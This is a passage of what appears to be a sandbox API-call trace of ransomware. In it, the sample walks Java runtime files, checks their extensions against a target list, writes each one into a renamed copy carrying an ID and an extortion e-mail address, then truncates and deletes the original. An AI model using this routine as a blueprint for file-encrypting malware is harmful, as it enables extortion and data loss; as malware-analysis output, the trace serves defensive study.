(lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0209.104] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0209.104] lstrlenW (lpString=".doc") returned 4 [0209.104] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.104] lstrlenW (lpString=".docx") returned 5 [0209.104] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0209.104] lstrlenW (lpString=".pdf") returned 4 [0209.104] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.104] lstrlenW (lpString=".xls") returned 4 [0209.104] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.104] lstrlenW (lpString=".xlsx") returned 5 [0209.104] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0209.104] lstrlenW (lpString=".ppt") returned 4 [0209.104] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.104] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0209.104] lstrlenW (lpString=".zip") returned 4 [0209.105] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.105] lstrlenW (lpString=".rar") returned 4 [0209.105] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.105] lstrlenW (lpString=".bz2") returned 4 [0209.105] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.105] lstrlenW (lpString=".7z") returned 3 [0209.105] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.105] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0209.105] lstrlenW (lpString=".dbf") returned 4 [0209.105] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.105] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0209.105] lstrlenW (lpString=".1cd") returned 4 [0209.105] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.105] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0209.105] lstrlenW (lpString=".jpg") returned 4 [0209.105] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.105] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0209.105] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0209.105] lstrlenW (lpString=".doc") returned 4 [0209.105] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.105] lstrlenW (lpString=".docx") returned 5 [0209.105] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0209.105] lstrlenW (lpString=".pdf") returned 4 [0209.105] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.105] lstrlenW (lpString=".xls") returned 4 [0209.105] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.105] lstrlenW (lpString=".xlsx") returned 5 [0209.105] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0209.105] lstrlenW (lpString=".ppt") returned 4 [0209.105] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0209.106] lstrlenW (lpString=".zip") returned 4 [0209.106] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.106] lstrlenW (lpString=".rar") returned 4 [0209.106] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.106] lstrlenW (lpString=".bz2") returned 4 [0209.106] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.106] lstrlenW (lpString=".7z") returned 3 [0209.106] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0209.106] lstrlenW (lpString=".dbf") returned 4 [0209.106] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0209.106] lstrlenW (lpString=".1cd") returned 4 [0209.106] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0209.106] lstrlenW (lpString=".jpg") returned 4 [0209.106] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.106] lstrcmpiW (lpString1=".exe", lpString2=".save") returned -1 [0209.106] lstrlenW (lpString="unpack200.exe") returned 13 [0209.106] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0209.107] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3a2ff14 | out: lpFileSize=0x3a2ff14*=197184) returned 1 [0209.107] CloseHandle (hObject=0x34c) returned 1 [0209.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe")) returned 0x20 [0209.108] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.108] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0209.108] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.108] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.108] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0209.109] GetLastError () returned 0x0 [0209.109] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x30240, lpOverlapped=0x0) returned 1 [0209.141] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0x30250, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0x30250, lpOverlapped=0x0) returned 1 [0209.147] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.147] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0xee, lpOverlapped=0x0) returned 1 [0209.147] SetEndOfFile (hFile=0x350) returned 1 [0209.147] CloseHandle (hObject=0x350) returned 1 [0209.148] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.148] SetEndOfFile (hFile=0x34c) returned 1 [0209.150] CloseHandle (hObject=0x34c) returned 1 [0209.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0209.150] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe")) returned 1 [0209.151] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0209.151] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0209.151] lstrlenW (lpString=".doc") returned 4 [0209.151] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0209.151] lstrlenW (lpString=".docx") returned 5 [0209.151] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0209.151] lstrlenW (lpString=".pdf") returned 4 [0209.151] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0209.151] lstrlenW (lpString=".xls") returned 4 [0209.151] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0209.151] lstrlenW (lpString=".xlsx") returned 5 [0209.151] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0209.151] lstrlenW (lpString=".ppt") returned 4 [0209.151] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0209.151] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0209.151] lstrlenW (lpString=".zip") returned 4 [0209.151] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0209.151] lstrlenW (lpString=".rar") returned 4 [0209.151] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0209.151] lstrlenW (lpString=".bz2") returned 4 [0209.151] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0209.152] lstrlenW (lpString=".7z") returned 3 [0209.152] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0209.152] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0209.152] lstrlenW (lpString=".dbf") returned 4 [0209.152] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0209.152] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0209.152] lstrlenW (lpString=".1cd") returned 4 [0209.152] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0209.152] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0209.152] lstrlenW (lpString=".jpg") returned 4 [0209.152] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0209.152] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0209.152] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0209.152] lstrlenW (lpString=".doc") returned 4 [0209.152] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0209.152] lstrlenW (lpString=".docx") returned 5 [0209.152] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0209.152] lstrlenW (lpString=".pdf") returned 4 [0209.152] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0209.152] lstrlenW (lpString=".xls") returned 4 [0209.152] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0209.152] lstrlenW (lpString=".xlsx") returned 5 [0209.152] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0209.152] lstrlenW (lpString=".ppt") returned 4 [0209.153] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0209.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0209.153] lstrlenW (lpString=".zip") returned 4 [0209.153] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0209.153] lstrlenW (lpString=".rar") returned 4 [0209.153] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0209.153] lstrlenW (lpString=".bz2") returned 4 [0209.153] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0209.153] lstrlenW (lpString=".7z") returned 3 [0209.153] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0209.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0209.153] lstrlenW (lpString=".dbf") returned 4 [0209.153] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0209.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0209.153] lstrlenW (lpString=".1cd") returned 4 [0209.153] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0209.153] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0209.153] lstrlenW (lpString=".jpg") returned 4 [0209.153] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0209.153] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0209.153] lstrlenW (lpString="w2k_lsa_auth.dll") returned 16 [0209.154] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0209.155] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3a2ff14 | out: lpFileSize=0x3a2ff14*=24128) returned 1 [0209.155] CloseHandle (hObject=0x34c) returned 1 [0209.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll")) returned 0x20 [0209.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.155] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0209.155] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.155] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.155] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0209.157] GetLastError () returned 0x0 [0209.157] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x5e40, lpOverlapped=0x0) returned 1 [0209.543] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0x5e50, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0x5e50, lpOverlapped=0x0) returned 1 [0209.545] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.545] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0xf4, lpOverlapped=0x0) returned 1 [0209.545] SetEndOfFile (hFile=0x350) returned 1 [0209.545] CloseHandle (hObject=0x350) returned 1 [0209.545] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.546] SetEndOfFile (hFile=0x34c) returned 1 [0209.547] CloseHandle (hObject=0x34c) returned 1 [0209.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0209.547] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll")) returned 1 [0209.547] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0209.547] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0209.547] lstrlenW (lpString=".doc") returned 4 [0209.547] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.548] lstrlenW (lpString=".docx") returned 5 [0209.548] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1 [0209.548] lstrlenW (lpString=".pdf") returned 4 [0209.548] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.548] lstrlenW (lpString=".xls") returned 4 [0209.548] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.548] lstrlenW (lpString=".xlsx") returned 5 [0209.548] lstrcmpiW (lpString1=".xlsx", lpString2="h.dll") returned -1 [0209.548] lstrlenW (lpString=".ppt") returned 4 [0209.548] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0209.548] lstrlenW (lpString=".zip") returned 4 [0209.548] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.548] lstrlenW (lpString=".rar") returned 4 [0209.548] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.548] lstrlenW (lpString=".bz2") returned 4 [0209.548] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.548] lstrlenW (lpString=".7z") returned 3 [0209.548] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0209.548] lstrlenW (lpString=".dbf") returned 4 [0209.548] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0209.548] lstrlenW (lpString=".1cd") returned 4 [0209.548] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.548] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0209.549] lstrlenW (lpString=".jpg") returned 4 [0209.549] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0209.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0209.549] lstrlenW (lpString=".doc") returned 4 [0209.549] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.549] lstrlenW (lpString=".docx") returned 5 [0209.549] lstrcmpiW (lpString1=".docx", lpString2="h.dll") returned -1 [0209.549] lstrlenW (lpString=".pdf") returned 4 [0209.549] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.549] lstrlenW (lpString=".xls") returned 4 [0209.549] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.549] lstrlenW (lpString=".xlsx") returned 5 [0209.549] lstrcmpiW (lpString1=".xlsx", lpString2="h.dll") returned -1 [0209.549] lstrlenW (lpString=".ppt") returned 4 [0209.549] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.549] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0209.549] lstrlenW (lpString=".zip") returned 4 [0209.549] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.549] lstrlenW (lpString=".rar") returned 4 [0209.549] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.549] lstrlenW (lpString=".bz2") returned 4 [0209.549] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.549] lstrlenW (lpString=".7z") returned 3 [0209.549] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0209.550] lstrlenW (lpString=".dbf") returned 4 [0209.550] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0209.550] lstrlenW (lpString=".1cd") returned 4 [0209.550] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.550] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0209.550] lstrlenW (lpString=".jpg") returned 4 [0209.550] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.550] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0209.550] lstrlenW (lpString="accessibility.properties") returned 24 [0209.550] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0209.551] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3a2ff14 | out: lpFileSize=0x3a2ff14*=149) returned 1 [0209.551] CloseHandle (hObject=0x34c) returned 1 [0209.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 0x20 [0209.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.552] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0209.552] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.552] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.552] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0209.553] GetLastError () returned 0x0 [0209.553] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x95, lpOverlapped=0x0) returned 1 [0209.554] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0xa0, lpOverlapped=0x0) returned 1 [0209.556] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.556] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0x104, lpOverlapped=0x0) returned 1 [0209.556] SetEndOfFile (hFile=0x350) returned 1 [0209.556] CloseHandle (hObject=0x350) returned 1 [0209.556] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.556] SetEndOfFile (hFile=0x34c) returned 1 [0209.557] CloseHandle (hObject=0x34c) returned 1 [0209.557] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0209.557] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 1 [0209.558] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0209.558] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0209.558] lstrlenW (lpString=".doc") returned 4 [0209.558] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0209.558] lstrlenW (lpString=".docx") returned 5 [0209.558] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0209.558] lstrlenW (lpString=".pdf") returned 4 [0209.558] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0209.558] lstrlenW (lpString=".xls") returned 4 [0209.558] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0209.558] lstrlenW (lpString=".xlsx") returned 5 [0209.558] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0209.558] lstrlenW (lpString=".ppt") returned 4 [0209.558] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0209.558] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63 [0209.558] lstrlenW (lpString=".zip") returned 4 [0209.558] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0209.558] lstrlenW (lpString=".rar") returned 4 [0209.558] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0209.559] lstrlenW (lpString=".bz2") returned 4 [0209.559] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0209.559] lstrlenW (lpString=".7z") returned 3 [0209.559] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0209.559] lstrlenW (lpString="C:\\Program 